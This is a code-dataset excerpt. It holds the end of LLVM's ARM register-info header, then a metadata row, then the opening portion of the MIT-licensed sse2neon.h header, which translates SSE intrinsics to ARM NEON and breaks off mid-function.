*MF) const; const uint32_t *getCallPreservedMask(const MachineFunction &MF, CallingConv::ID) const override; const uint32_t *getNoPreservedMask() const override; const uint32_t *getTLSCallPreservedMask(const MachineFunction &MF) const; const uint32_t *getSjLjDispatchPreservedMask(const MachineFunction &MF) const; /// getThisReturnPreservedMask - Returns a call preserved mask specific to the /// case that 'returned' is on an i32 first argument if the calling convention /// is one that can (partially) model this attribute with a preserved mask /// (i.e. it is a calling convention that uses the same register for the first /// i32 argument and an i32 return value) /// /// Should return NULL in the case that the calling convention does not have /// this property const uint32_t *getThisReturnPreservedMask(const MachineFunction &MF, CallingConv::ID) const; BitVector getReservedRegs(const MachineFunction &MF) const override; bool isAsmClobberable(const MachineFunction &MF, unsigned PhysReg) const override; const TargetRegisterClass * getPointerRegClass(const MachineFunction &MF, unsigned Kind = 0) const override; const TargetRegisterClass * getCrossCopyRegClass(const TargetRegisterClass *RC) const override; const TargetRegisterClass * getLargestLegalSuperClass(const TargetRegisterClass *RC, const MachineFunction &MF) const override; unsigned getRegPressureLimit(const TargetRegisterClass *RC, MachineFunction &MF) const override; bool getRegAllocationHints(unsigned VirtReg, ArrayRef<MCPhysReg> Order, SmallVectorImpl<MCPhysReg> &Hints, const MachineFunction &MF, const VirtRegMap *VRM, const LiveRegMatrix *Matrix) const override; void updateRegAllocHint(unsigned Reg, unsigned NewReg, MachineFunction &MF) const override; bool hasBasePointer(const MachineFunction &MF) const; bool canRealignStack(const MachineFunction &MF) const override; int64_t getFrameIndexInstrOffset(const MachineInstr *MI, int Idx) const override; bool needsFrameBaseReg(MachineInstr *MI, int64_t Offset) const override; void materializeFrameBaseRegister(MachineBasicBlock *MBB, unsigned BaseReg, int FrameIdx, int64_t Offset) const override; void resolveFrameIndex(MachineInstr &MI, unsigned BaseReg, int64_t Offset) const override; bool isFrameOffsetLegal(const MachineInstr *MI, unsigned BaseReg, int64_t Offset) const override; bool cannotEliminateFrame(const MachineFunction &MF) const; // Debug information queries. unsigned getFrameRegister(const MachineFunction &MF) const override; unsigned getBaseRegister() const { return BasePtr; } bool isLowRegister(unsigned Reg) const; /// emitLoadConstPool - Emits a load from constpool to materialize the /// specified immediate. virtual void emitLoadConstPool(MachineBasicBlock &MBB, MachineBasicBlock::iterator &MBBI, const DebugLoc &dl, unsigned DestReg, unsigned SubIdx, int Val, ARMCC::CondCodes Pred = ARMCC::AL, unsigned PredReg = 0, unsigned MIFlags = MachineInstr::NoFlags) const; /// Code Generation virtual methods... bool requiresRegisterScavenging(const MachineFunction &MF) const override; bool trackLivenessAfterRegAlloc(const MachineFunction &MF) const override; bool requiresFrameIndexScavenging(const MachineFunction &MF) const override; bool requiresVirtualBaseRegisters(const MachineFunction &MF) const override; void eliminateFrameIndex(MachineBasicBlock::iterator II, int SPAdj, unsigned FIOperandNum, RegScavenger *RS = nullptr) const override; /// SrcRC and DstRC will be morphed into NewRC if this returns true bool shouldCoalesce(MachineInstr *MI, const TargetRegisterClass *SrcRC, unsigned SubReg, const TargetRegisterClass *DstRC, unsigned DstSubReg, const TargetRegisterClass *NewRC, LiveIntervals &LIS) const override; }; } // end namespace llvm #endif // LLVM_LIB_TARGET_ARM_ARMBASEREGISTERINFO_H
36.797235
80
0.65886
[ "model" ]
308b255b70eef34f8f138ee10e93d88d5a7ca38c
150,235
h
C
Python_MiniGame_Fighter/venv/Include/site/python3.7/pygame/include/sse2neon.h
JE-Chen/je_old_repo
a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5
[ "MIT" ]
null
null
null
Python_MiniGame_Fighter/venv/Include/site/python3.7/pygame/include/sse2neon.h
JE-Chen/je_old_repo
a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5
[ "MIT" ]
null
null
null
Python_MiniGame_Fighter/venv/Include/site/python3.7/pygame/include/sse2neon.h
JE-Chen/je_old_repo
a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5
[ "MIT" ]
null
null
null
#ifndef SSE2NEON_H #define SSE2NEON_H // This header file provides a simple API translation layer // between SSE intrinsics to their corresponding Arm/Aarch64 NEON versions // // This header file does not yet translate all of the SSE intrinsics. // // Contributors to this work are: // John W. Ratcliff <jratcliffscarab@gmail.com> // Brandon Rowlett <browlett@nvidia.com> // Ken Fast <kfast@gdeb.com> // Eric van Beurden <evanbeurden@nvidia.com> // Alexander Potylitsin <apotylitsin@nvidia.com> // Hasindu Gamaarachchi <hasindu2008@gmail.com> // Jim Huang <jserv@biilabs.io> // Mark Cheng <marktwtn@biilabs.io> // Malcolm James MacLeod <malcolm@gulden.com> // Devin Hussey (easyaspi314) <husseydevin@gmail.com> // Sebastian Pop <spop@amazon.com> /* * The MIT license: * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #if defined(__GNUC__) || defined(__clang__) #pragma push_macro("FORCE_INLINE") #pragma push_macro("ALIGN_STRUCT") #define FORCE_INLINE static inline __attribute__((always_inline)) #define ALIGN_STRUCT(x) __attribute__((aligned(x))) #else #error "Macro name collisions may happens with unknown compiler" #ifdef FORCE_INLINE #undef FORCE_INLINE #endif #define FORCE_INLINE static inline #ifndef ALIGN_STRUCT #define ALIGN_STRUCT(x) __declspec(align(x)) #endif #endif #include <stdint.h> #include <stdlib.h> #include <arm_neon.h> /** * MACRO for shuffle parameter for _mm_shuffle_ps(). * Argument fp3 is a digit[0123] that represents the fp from argument "b" * of mm_shuffle_ps that will be placed in fp3 of result. fp2 is the same * for fp2 in result. fp1 is a digit[0123] that represents the fp from * argument "a" of mm_shuffle_ps that will be places in fp1 of result. * fp0 is the same for fp0 of result. */ #define _MM_SHUFFLE(fp3, fp2, fp1, fp0) \ (((fp3) << 6) | ((fp2) << 4) | ((fp1) << 2) | ((fp0))) /* indicate immediate constant argument in a given range */ #define __constrange(a, b) const typedef float32x2_t __m64; typedef float32x4_t __m128; typedef int64x2_t __m128i; // ****************************************** // type-safe casting between types // ****************************************** #define vreinterpretq_m128_f16(x) vreinterpretq_f32_f16(x) #define vreinterpretq_m128_f32(x) (x) #define vreinterpretq_m128_f64(x) vreinterpretq_f32_f64(x) #define vreinterpretq_m128_u8(x) vreinterpretq_f32_u8(x) #define vreinterpretq_m128_u16(x) vreinterpretq_f32_u16(x) #define vreinterpretq_m128_u32(x) vreinterpretq_f32_u32(x) #define vreinterpretq_m128_u64(x) vreinterpretq_f32_u64(x) #define vreinterpretq_m128_s8(x) vreinterpretq_f32_s8(x) #define vreinterpretq_m128_s16(x) vreinterpretq_f32_s16(x) #define vreinterpretq_m128_s32(x) vreinterpretq_f32_s32(x) #define vreinterpretq_m128_s64(x) vreinterpretq_f32_s64(x) #define vreinterpretq_f16_m128(x) vreinterpretq_f16_f32(x) #define vreinterpretq_f32_m128(x) (x) #define vreinterpretq_f64_m128(x) vreinterpretq_f64_f32(x) #define vreinterpretq_u8_m128(x) vreinterpretq_u8_f32(x) #define vreinterpretq_u16_m128(x) vreinterpretq_u16_f32(x) #define vreinterpretq_u32_m128(x) vreinterpretq_u32_f32(x) #define vreinterpretq_u64_m128(x) vreinterpretq_u64_f32(x) #define vreinterpretq_s8_m128(x) vreinterpretq_s8_f32(x) #define vreinterpretq_s16_m128(x) vreinterpretq_s16_f32(x) #define vreinterpretq_s32_m128(x) vreinterpretq_s32_f32(x) #define vreinterpretq_s64_m128(x) vreinterpretq_s64_f32(x) #define vreinterpretq_m128i_s8(x) vreinterpretq_s64_s8(x) #define vreinterpretq_m128i_s16(x) vreinterpretq_s64_s16(x) #define vreinterpretq_m128i_s32(x) vreinterpretq_s64_s32(x) #define vreinterpretq_m128i_s64(x) (x) #define vreinterpretq_m128i_u8(x) vreinterpretq_s64_u8(x) #define vreinterpretq_m128i_u16(x) vreinterpretq_s64_u16(x) #define vreinterpretq_m128i_u32(x) vreinterpretq_s64_u32(x) #define vreinterpretq_m128i_u64(x) vreinterpretq_s64_u64(x) #define vreinterpretq_s8_m128i(x) vreinterpretq_s8_s64(x) #define vreinterpretq_s16_m128i(x) vreinterpretq_s16_s64(x) #define vreinterpretq_s32_m128i(x) vreinterpretq_s32_s64(x) #define vreinterpretq_s64_m128i(x) (x) #define vreinterpretq_u8_m128i(x) vreinterpretq_u8_s64(x) #define vreinterpretq_u16_m128i(x) vreinterpretq_u16_s64(x) #define vreinterpretq_u32_m128i(x) vreinterpretq_u32_s64(x) #define vreinterpretq_u64_m128i(x) vreinterpretq_u64_s64(x) // A struct is defined in this header file called 'SIMDVec' which can be used // by applications which attempt to access the contents of an _m128 struct // directly. It is important to note that accessing the __m128 struct directly // is bad coding practice by Microsoft: @see: // https://msdn.microsoft.com/en-us/library/ayeb3ayc.aspx // // However, some legacy source code may try to access the contents of an __m128 // struct directly so the developer can use the SIMDVec as an alias for it. Any // casting must be done manually by the developer, as you cannot cast or // otherwise alias the base NEON data type for intrinsic operations. // // union intended to allow direct access to an __m128 variable using the names // that the MSVC compiler provides. This union should really only be used when // trying to access the members of the vector as integer values. GCC/clang // allow native access to the float members through a simple array access // operator (in C since 4.6, in C++ since 4.8). // // Ideally direct accesses to SIMD vectors should not be used since it can cause // a performance hit. If it really is needed however, the original __m128 // variable can be aliased with a pointer to this union and used to access // individual components. The use of this union should be hidden behind a macro // that is used throughout the codebase to access the members instead of always // declaring this type of variable. typedef union ALIGN_STRUCT(16) SIMDVec { float m128_f32[4]; // as floats - do not to use this. Added for convenience. int8_t m128_i8[16]; // as signed 8-bit integers. int16_t m128_i16[8]; // as signed 16-bit integers. int32_t m128_i32[4]; // as signed 32-bit integers. int64_t m128_i64[2]; // as signed 64-bit integers. uint8_t m128_u8[16]; // as unsigned 8-bit integers. uint16_t m128_u16[8]; // as unsigned 16-bit integers. uint32_t m128_u32[4]; // as unsigned 32-bit integers. uint64_t m128_u64[2]; // as unsigned 64-bit integers. } SIMDVec; // casting using SIMDVec #define vreinterpretq_nth_u64_m128i(x, n) (((SIMDVec *) &x)->m128_u64[n]) #define vreinterpretq_nth_u32_m128i(x, n) (((SIMDVec *) &x)->m128_u32[n]) // ****************************************** // Backwards compatibility for compilers with lack of specific type support // ****************************************** // Older gcc does not define vld1q_u8_x4 type #if defined(__GNUC__) && !defined(__clang__) #if __GNUC__ <= 9 FORCE_INLINE uint8x16x4_t vld1q_u8_x4(const uint8_t *p) { uint8x16x4_t ret; ret.val[0] = vld1q_u8(p + 0); ret.val[1] = vld1q_u8(p + 16); ret.val[2] = vld1q_u8(p + 32); ret.val[3] = vld1q_u8(p + 48); return ret; } #endif #endif // ****************************************** // Set/get methods // ****************************************** // Loads one cache line of data from address p to a location closer to the // processor. https://msdn.microsoft.com/en-us/library/84szxsww(v=vs.100).aspx FORCE_INLINE void _mm_prefetch(const void *p, int i) { (void)i; __builtin_prefetch(p); } // extracts the lower order floating point value from the parameter : // https://msdn.microsoft.com/en-us/library/bb514059%28v=vs.120%29.aspx?f=255&MSPPError=-2147217396 FORCE_INLINE float _mm_cvtss_f32(__m128 a) { return vgetq_lane_f32(vreinterpretq_f32_m128(a), 0); } // Sets the 128-bit value to zero // https://msdn.microsoft.com/en-us/library/vstudio/ys7dw0kh(v=vs.100).aspx FORCE_INLINE __m128i _mm_setzero_si128(void) { return vreinterpretq_m128i_s32(vdupq_n_s32(0)); } // Clears the four single-precision, floating-point values. // https://msdn.microsoft.com/en-us/library/vstudio/tk1t2tbz(v=vs.100).aspx FORCE_INLINE __m128 _mm_setzero_ps(void) { return vreinterpretq_m128_f32(vdupq_n_f32(0)); } // Sets the four single-precision, floating-point values to w. // // r0 := r1 := r2 := r3 := w // // https://msdn.microsoft.com/en-us/library/vstudio/2x1se8ha(v=vs.100).aspx FORCE_INLINE __m128 _mm_set1_ps(float _w) { return vreinterpretq_m128_f32(vdupq_n_f32(_w)); } // Sets the four single-precision, floating-point values to w. // https://msdn.microsoft.com/en-us/library/vstudio/2x1se8ha(v=vs.100).aspx FORCE_INLINE __m128 _mm_set_ps1(float _w) { return vreinterpretq_m128_f32(vdupq_n_f32(_w)); } // Sets the four single-precision, floating-point values to the four inputs. // https://msdn.microsoft.com/en-us/library/vstudio/afh0zf75(v=vs.100).aspx FORCE_INLINE __m128 _mm_set_ps(float w, float z, float y, float x) { float __attribute__((aligned(16))) data[4] = {x, y, z, w}; return vreinterpretq_m128_f32(vld1q_f32(data)); } // Sets the four single-precision, floating-point values to the four inputs in // reverse order. // https://msdn.microsoft.com/en-us/library/vstudio/d2172ct3(v=vs.100).aspx FORCE_INLINE __m128 _mm_setr_ps(float w, float z, float y, float x) { float __attribute__((aligned(16))) data[4] = {w, z, y, x}; return vreinterpretq_m128_f32(vld1q_f32(data)); } // Sets the 8 signed 16-bit integer values in reverse order. // // Return Value // r0 := w0 // r1 := w1 // ... // r7 := w7 FORCE_INLINE __m128i _mm_setr_epi16(short w0, short w1, short w2, short w3, short w4, short w5, short w6, short w7) { int16_t __attribute__((aligned(16))) data[8] = {w0, w1, w2, w3, w4, w5, w6, w7}; return vreinterpretq_m128i_s16(vld1q_s16((int16_t *) data)); } // Sets the 4 signed 32-bit integer values in reverse order // https://technet.microsoft.com/en-us/library/security/27yb3ee5(v=vs.90).aspx FORCE_INLINE __m128i _mm_setr_epi32(int i3, int i2, int i1, int i0) { int32_t __attribute__((aligned(16))) data[4] = {i3, i2, i1, i0}; return vreinterpretq_m128i_s32(vld1q_s32(data)); } // Sets the 16 signed 8-bit integer values to b. // // r0 := b // r1 := b // ... // r15 := b // // https://msdn.microsoft.com/en-us/library/6e14xhyf(v=vs.100).aspx FORCE_INLINE __m128i _mm_set1_epi8(signed char w) { return vreinterpretq_m128i_s8(vdupq_n_s8(w)); } // Sets the 8 signed 16-bit integer values to w. // // r0 := w // r1 := w // ... // r7 := w // // https://msdn.microsoft.com/en-us/library/k0ya3x0e(v=vs.90).aspx FORCE_INLINE __m128i _mm_set1_epi16(short w) { return vreinterpretq_m128i_s16(vdupq_n_s16(w)); } // Sets the 16 signed 8-bit integer values. // https://msdn.microsoft.com/en-us/library/x0cx8zd3(v=vs.90).aspx FORCE_INLINE __m128i _mm_set_epi8(signed char b15, signed char b14, signed char b13, signed char b12, signed char b11, signed char b10, signed char b9, signed char b8, signed char b7, signed char b6, signed char b5, signed char b4, signed char b3, signed char b2, signed char b1, signed char b0) { int8_t __attribute__((aligned(16))) data[16] = {(int8_t) b0, (int8_t) b1, (int8_t) b2, (int8_t) b3, (int8_t) b4, (int8_t) b5, (int8_t) b6, (int8_t) b7, (int8_t) b8, (int8_t) b9, (int8_t) b10, (int8_t) b11, (int8_t) b12, (int8_t) b13, (int8_t) b14, (int8_t) b15}; return (__m128i) vld1q_s8(data); } // Sets the 8 signed 16-bit integer values. // https://msdn.microsoft.com/en-au/library/3e0fek84(v=vs.90).aspx FORCE_INLINE __m128i _mm_set_epi16(short i7, short i6, short i5, short i4, short i3, short i2, short i1, short i0) { int16_t __attribute__((aligned(16))) data[8] = {i0, i1, i2, i3, i4, i5, i6, i7}; return vreinterpretq_m128i_s16(vld1q_s16(data)); } // Sets the 16 signed 8-bit integer values in reverse order. // https://msdn.microsoft.com/en-us/library/2khb9c7k(v=vs.90).aspx FORCE_INLINE __m128i _mm_setr_epi8(signed char b0, signed char b1, signed char b2, signed char b3, signed char b4, signed char b5, signed char b6, signed char b7, signed char b8, signed char b9, signed char b10, signed char b11, signed char b12, signed char b13, signed char b14, signed char b15) { int8_t __attribute__((aligned(16))) data[16] = {(int8_t) b0, (int8_t) b1, (int8_t) b2, (int8_t) b3, (int8_t) b4, (int8_t) b5, (int8_t) b6, (int8_t) b7, (int8_t) b8, (int8_t) b9, (int8_t) b10, (int8_t) b11, (int8_t) b12, (int8_t) b13, (int8_t) b14, (int8_t) b15}; return (__m128i) vld1q_s8(data); } // Sets the 4 signed 32-bit integer values to i. // // r0 := i // r1 := i // r2 := i // r3 := I // // https://msdn.microsoft.com/en-us/library/vstudio/h4xscxat(v=vs.100).aspx FORCE_INLINE __m128i _mm_set1_epi32(int _i) { return vreinterpretq_m128i_s32(vdupq_n_s32(_i)); } // Sets the 2 signed 64-bit integer values to i. // https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2010/whtfzhzk(v=vs.100) FORCE_INLINE __m128i _mm_set1_epi64(int64_t _i) { return vreinterpretq_m128i_s64(vdupq_n_s64(_i)); } // Sets the 2 signed 64-bit integer values to i. // https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text=_mm_set1_epi64x&expand=4961 FORCE_INLINE __m128i _mm_set1_epi64x(int64_t _i) { return vreinterpretq_m128i_s64(vdupq_n_s64(_i)); } // Sets the 4 signed 32-bit integer values. // https://msdn.microsoft.com/en-us/library/vstudio/019beekt(v=vs.100).aspx FORCE_INLINE __m128i _mm_set_epi32(int i3, int i2, int i1, int i0) { int32_t __attribute__((aligned(16))) data[4] = {i0, i1, i2, i3}; return vreinterpretq_m128i_s32(vld1q_s32(data)); } // Returns the __m128i structure with its two 64-bit integer values // initialized to the values of the two 64-bit integers passed in. // https://msdn.microsoft.com/en-us/library/dk2sdw0h(v=vs.120).aspx FORCE_INLINE __m128i _mm_set_epi64x(int64_t i1, int64_t i2) { int64_t __attribute__((aligned(16))) data[2] = {i2, i1}; return vreinterpretq_m128i_s64(vld1q_s64(data)); } // Stores four single-precision, floating-point values. // https://msdn.microsoft.com/en-us/library/vstudio/s3h4ay6y(v=vs.100).aspx FORCE_INLINE void _mm_store_ps(float *p, __m128 a) { vst1q_f32(p, vreinterpretq_f32_m128(a)); } // Stores four single-precision, floating-point values. // https://msdn.microsoft.com/en-us/library/44e30x22(v=vs.100).aspx FORCE_INLINE void _mm_storeu_ps(float *p, __m128 a) { vst1q_f32(p, vreinterpretq_f32_m128(a)); } // Stores four 32-bit integer values as (as a __m128i value) at the address p. // https://msdn.microsoft.com/en-us/library/vstudio/edk11s13(v=vs.100).aspx FORCE_INLINE void _mm_store_si128(__m128i *p, __m128i a) { vst1q_s32((int32_t *) p, vreinterpretq_s32_m128i(a)); } // Stores four 32-bit integer values as (as a __m128i value) at the address p. // https://msdn.microsoft.com/en-us/library/vstudio/edk11s13(v=vs.100).aspx FORCE_INLINE void _mm_storeu_si128(__m128i *p, __m128i a) { vst1q_s32((int32_t *) p, vreinterpretq_s32_m128i(a)); } // Stores the lower single - precision, floating - point value. // https://msdn.microsoft.com/en-us/library/tzz10fbx(v=vs.100).aspx FORCE_INLINE void _mm_store_ss(float *p, __m128 a) { vst1q_lane_f32(p, vreinterpretq_f32_m128(a), 0); } // Reads the lower 64 bits of b and stores them into the lower 64 bits of a. // https://msdn.microsoft.com/en-us/library/hhwf428f%28v=vs.90%29.aspx FORCE_INLINE void _mm_storel_epi64(__m128i *a, __m128i b) { uint64x1_t hi = vget_high_u64(vreinterpretq_u64_m128i(*a)); uint64x1_t lo = vget_low_u64(vreinterpretq_u64_m128i(b)); *a = vreinterpretq_m128i_u64(vcombine_u64(lo, hi)); } // Stores the lower two single-precision floating point values of a to the // address p. // // *p0 := a0 // *p1 := a1 // // https://msdn.microsoft.com/en-us/library/h54t98ks(v=vs.90).aspx FORCE_INLINE void _mm_storel_pi(__m64 *p, __m128 a) { *p = vget_low_f32(a); } // Stores the upper two single-precision, floating-point values of a to the // address p. // // *p0 := a2 // *p1 := a3 // // https://msdn.microsoft.com/en-us/library/a7525fs8(v%3dvs.90).aspx FORCE_INLINE void _mm_storeh_pi(__m64 * p, __m128 a) { *p = vget_high_f32(a); } // Loads a single single-precision, floating-point value, copying it into all // four words // https://msdn.microsoft.com/en-us/library/vstudio/5cdkf716(v=vs.100).aspx FORCE_INLINE __m128 _mm_load1_ps(const float *p) { return vreinterpretq_m128_f32(vld1q_dup_f32(p)); } #define _mm_load_ps1 _mm_load1_ps // Sets the lower two single-precision, floating-point values with 64 // bits of data loaded from the address p; the upper two values are passed // through from a. // // Return Value // r0 := *p0 // r1 := *p1 // r2 := a2 // r3 := a3 // // https://msdn.microsoft.com/en-us/library/s57cyak2(v=vs.100).aspx FORCE_INLINE __m128 _mm_loadl_pi(__m128 a, __m64 const *p) { return vreinterpretq_m128_f32( vcombine_f32(vld1_f32((const float32_t *) p), vget_high_f32(a))); } // Sets the upper two single-precision, floating-point values with 64 // bits of data loaded from the address p; the lower two values are passed // through from a. // // r0 := a0 // r1 := a1 // r2 := *p0 // r3 := *p1 // // https://msdn.microsoft.com/en-us/library/w92wta0x(v%3dvs.100).aspx FORCE_INLINE __m128 _mm_loadh_pi(__m128 a, __m64 const *p) { return vreinterpretq_m128_f32( vcombine_f32(vget_low_f32(a), vld1_f32((const float32_t *) p))); } // Loads four single-precision, floating-point values. // https://msdn.microsoft.com/en-us/library/vstudio/zzd50xxt(v=vs.100).aspx FORCE_INLINE __m128 _mm_load_ps(const float *p) { return vreinterpretq_m128_f32(vld1q_f32(p)); } // Loads four single-precision, floating-point values. // https://msdn.microsoft.com/en-us/library/x1b16s7z%28v=vs.90%29.aspx FORCE_INLINE __m128 _mm_loadu_ps(const float *p) { // for neon, alignment doesn't matter, so _mm_load_ps and _mm_loadu_ps are // equivalent for neon return vreinterpretq_m128_f32(vld1q_f32(p)); } // Loads an single - precision, floating - point value into the low word and // clears the upper three words. // https://msdn.microsoft.com/en-us/library/548bb9h4%28v=vs.90%29.aspx FORCE_INLINE __m128 _mm_load_ss(const float *p) { return vreinterpretq_m128_f32(vsetq_lane_f32(*p, vdupq_n_f32(0), 0)); } FORCE_INLINE __m128i _mm_loadl_epi64(__m128i const *p) { /* Load the lower 64 bits of the value pointed to by p into the * lower 64 bits of the result, zeroing the upper 64 bits of the result. */ return vreinterpretq_m128i_s32(vcombine_s32(vld1_s32((int32_t const *) p), vcreate_s32(0))); } // ****************************************** // Logic/Binary operations // ****************************************** // Compares for inequality. // https://msdn.microsoft.com/en-us/library/sf44thbx(v=vs.100).aspx FORCE_INLINE __m128 _mm_cmpneq_ps(__m128 a, __m128 b) { return vreinterpretq_m128_u32(vmvnq_u32( vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)))); } // Computes the bitwise AND-NOT of the four single-precision, floating-point // values of a and b. // // r0 := ~a0 & b0 // r1 := ~a1 & b1 // r2 := ~a2 & b2 // r3 := ~a3 & b3 // // https://msdn.microsoft.com/en-us/library/vstudio/68h7wd02(v=vs.100).aspx FORCE_INLINE __m128 _mm_andnot_ps(__m128 a, __m128 b) { return vreinterpretq_m128_s32( vbicq_s32(vreinterpretq_s32_m128(b), vreinterpretq_s32_m128(a))); // *NOTE* argument swap } // Computes the bitwise AND of the 128-bit value in b and the bitwise NOT of the // 128-bit value in a. // // r := (~a) & b // // https://msdn.microsoft.com/en-us/library/vstudio/1beaceh8(v=vs.100).aspx FORCE_INLINE __m128i _mm_andnot_si128(__m128i a, __m128i b) { return vreinterpretq_m128i_s32( vbicq_s32(vreinterpretq_s32_m128i(b), vreinterpretq_s32_m128i(a))); // *NOTE* argument swap } // Computes the bitwise AND of the 128-bit value in a and the 128-bit value in // b. // // r := a & b // // https://msdn.microsoft.com/en-us/library/vstudio/6d1txsa8(v=vs.100).aspx FORCE_INLINE __m128i _mm_and_si128(__m128i a, __m128i b) { return vreinterpretq_m128i_s32( vandq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } // Computes the bitwise AND of the four single-precision, floating-point values // of a and b. // // r0 := a0 & b0 // r1 := a1 & b1 // r2 := a2 & b2 // r3 := a3 & b3 // // https://msdn.microsoft.com/en-us/library/vstudio/73ck1xc5(v=vs.100).aspx FORCE_INLINE __m128 _mm_and_ps(__m128 a, __m128 b) { return vreinterpretq_m128_s32( vandq_s32(vreinterpretq_s32_m128(a), vreinterpretq_s32_m128(b))); } // Computes the bitwise OR of the four single-precision, floating-point values // of a and b. // https://msdn.microsoft.com/en-us/library/vstudio/7ctdsyy0(v=vs.100).aspx FORCE_INLINE __m128 _mm_or_ps(__m128 a, __m128 b) { return vreinterpretq_m128_s32( vorrq_s32(vreinterpretq_s32_m128(a), vreinterpretq_s32_m128(b))); } // Computes bitwise EXOR (exclusive-or) of the four single-precision, // floating-point values of a and b. // https://msdn.microsoft.com/en-us/library/ss6k3wk8(v=vs.100).aspx FORCE_INLINE __m128 _mm_xor_ps(__m128 a, __m128 b) { return vreinterpretq_m128_s32( veorq_s32(vreinterpretq_s32_m128(a), vreinterpretq_s32_m128(b))); } // Computes the bitwise OR of the 128-bit value in a and the 128-bit value in b. // // r := a | b // // https://msdn.microsoft.com/en-us/library/vstudio/ew8ty0db(v=vs.100).aspx FORCE_INLINE __m128i _mm_or_si128(__m128i a, __m128i b) { return vreinterpretq_m128i_s32( vorrq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } // Computes the bitwise XOR of the 128-bit value in a and the 128-bit value in // b. https://msdn.microsoft.com/en-us/library/fzt08www(v=vs.100).aspx FORCE_INLINE __m128i _mm_xor_si128(__m128i a, __m128i b) { return vreinterpretq_m128i_s32( veorq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b))); } // Moves the upper two values of B into the lower two values of A. // // r3 := a3 // r2 := a2 // r1 := b3 // r0 := b2 FORCE_INLINE __m128 _mm_movehl_ps(__m128 __A, __m128 __B) { float32x2_t a32 = vget_high_f32(vreinterpretq_f32_m128(__A)); float32x2_t b32 = vget_high_f32(vreinterpretq_f32_m128(__B)); return vreinterpretq_m128_f32(vcombine_f32(b32, a32)); } // Moves the lower two values of B into the upper two values of A. // // r3 := b1 // r2 := b0 // r1 := a1 // r0 := a0 FORCE_INLINE __m128 _mm_movelh_ps(__m128 __A, __m128 __B) { float32x2_t a10 = vget_low_f32(vreinterpretq_f32_m128(__A)); float32x2_t b10 = vget_low_f32(vreinterpretq_f32_m128(__B)); return vreinterpretq_m128_f32(vcombine_f32(a10, b10)); } FORCE_INLINE __m128i _mm_abs_epi32(__m128i a) { return vreinterpretq_m128i_s32(vabsq_s32(vreinterpretq_s32_m128i(a))); } FORCE_INLINE __m128i _mm_abs_epi16(__m128i a) { return vreinterpretq_m128i_s16(vabsq_s16(vreinterpretq_s16_m128i(a))); } FORCE_INLINE __m128i _mm_abs_epi8(__m128i a) { return vreinterpretq_m128i_s8(vabsq_s8(vreinterpretq_s8_m128i(a))); } // Takes the upper 64 bits of a and places it in the low end of the result // Takes the lower 64 bits of b and places it into the high end of the result. FORCE_INLINE __m128 _mm_shuffle_ps_1032(__m128 a, __m128 b) { float32x2_t a32 = vget_high_f32(vreinterpretq_f32_m128(a)); float32x2_t b10 = vget_low_f32(vreinterpretq_f32_m128(b)); return vreinterpretq_m128_f32(vcombine_f32(a32, b10)); } // takes the lower two 32-bit values from a and swaps them and places in high // end of result takes the higher two 32 bit values from b and swaps them and // places in low end of result. FORCE_INLINE __m128 _mm_shuffle_ps_2301(__m128 a, __m128 b) { float32x2_t a01 = vrev64_f32(vget_low_f32(vreinterpretq_f32_m128(a))); float32x2_t b23 = vrev64_f32(vget_high_f32(vreinterpretq_f32_m128(b))); return vreinterpretq_m128_f32(vcombine_f32(a01, b23)); } FORCE_INLINE __m128 _mm_shuffle_ps_0321(__m128 a, __m128 b) { float32x2_t a21 = vget_high_f32( vextq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a), 3)); float32x2_t b03 = vget_low_f32( vextq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b), 3)); return vreinterpretq_m128_f32(vcombine_f32(a21, b03)); } FORCE_INLINE __m128 _mm_shuffle_ps_2103(__m128 a, __m128 b) { float32x2_t a03 = vget_low_f32( vextq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a), 3)); float32x2_t b21 = vget_high_f32( vextq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b), 3)); return vreinterpretq_m128_f32(vcombine_f32(a03, b21)); } FORCE_INLINE __m128 _mm_shuffle_ps_1010(__m128 a, __m128 b) { float32x2_t a10 = vget_low_f32(vreinterpretq_f32_m128(a)); float32x2_t b10 = vget_low_f32(vreinterpretq_f32_m128(b)); return vreinterpretq_m128_f32(vcombine_f32(a10, b10)); } FORCE_INLINE __m128 _mm_shuffle_ps_1001(__m128 a, __m128 b) { float32x2_t a01 = vrev64_f32(vget_low_f32(vreinterpretq_f32_m128(a))); float32x2_t b10 = vget_low_f32(vreinterpretq_f32_m128(b)); return vreinterpretq_m128_f32(vcombine_f32(a01, b10)); } FORCE_INLINE __m128 _mm_shuffle_ps_0101(__m128 a, __m128 b) { float32x2_t a01 = vrev64_f32(vget_low_f32(vreinterpretq_f32_m128(a))); float32x2_t b01 = vrev64_f32(vget_low_f32(vreinterpretq_f32_m128(b))); return vreinterpretq_m128_f32(vcombine_f32(a01, b01)); } // keeps the low 64 bits of b in the low and puts the high 64 bits of a in the // high FORCE_INLINE __m128 _mm_shuffle_ps_3210(__m128 a, __m128 b) { float32x2_t a10 = 